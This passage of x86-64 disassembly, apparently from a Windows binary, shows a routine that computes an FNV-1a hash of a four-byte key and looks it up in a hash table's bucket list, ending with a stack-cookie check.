xor rax, rsp
mov qword [rsp], rax
mov r11, rdx
mov r9, rcx
movzx edx, byte [r8]
movabs rcx, 0x100000001b3
movabs rax, 0xcbf29ce484222325
mov r10, r8
xor rdx, rax
movzx eax, byte [r8 + 1]
imul rdx, rcx
xor rdx, rax
movzx eax, byte [r8 + 2]
imul rdx, rcx
xor rdx, rax
movzx eax, byte [r8 + 3]
mov r8, qword [r9 + 8]
imul rdx, rcx
xor rdx, rax
imul rdx, rcx
mov rcx, qword [r9 + 0x30]
and rcx, rdx
mov rdx, qword [r9 + 0x18]
mov rax, rcx
add rax, rax
add rcx, rcx
mov rax, qword [rdx + rax*8]
mov rbx, qword [rdx + rcx*8]
lea r9, [rdx + rcx*8]
cmp rbx, r8
jne 0x1400092fe
mov rcx, r8
jmp 0x140009305
mov rcx, qword [r9 + 8]
mov rcx, qword [rcx]
cmp rax, rcx
je 0x140009326
mov ecx, dword [r10]
cmp dword [rax + 0x10], ecx
je 0x140009317
mov rax, qword [rax]
jmp 0x1400092f4
mov ecx, dword [rax + 0x10]
cmp dword [r10], ecx
cmovne rax, r8
mov qword [r11], rax
jmp 0x140009329
mov qword [r11], r8
mov rax, r11
mov rcx, qword [rsp]
xor rcx, rsp
call fcn.140026f00
add rsp, 0x10
pop rbx
ret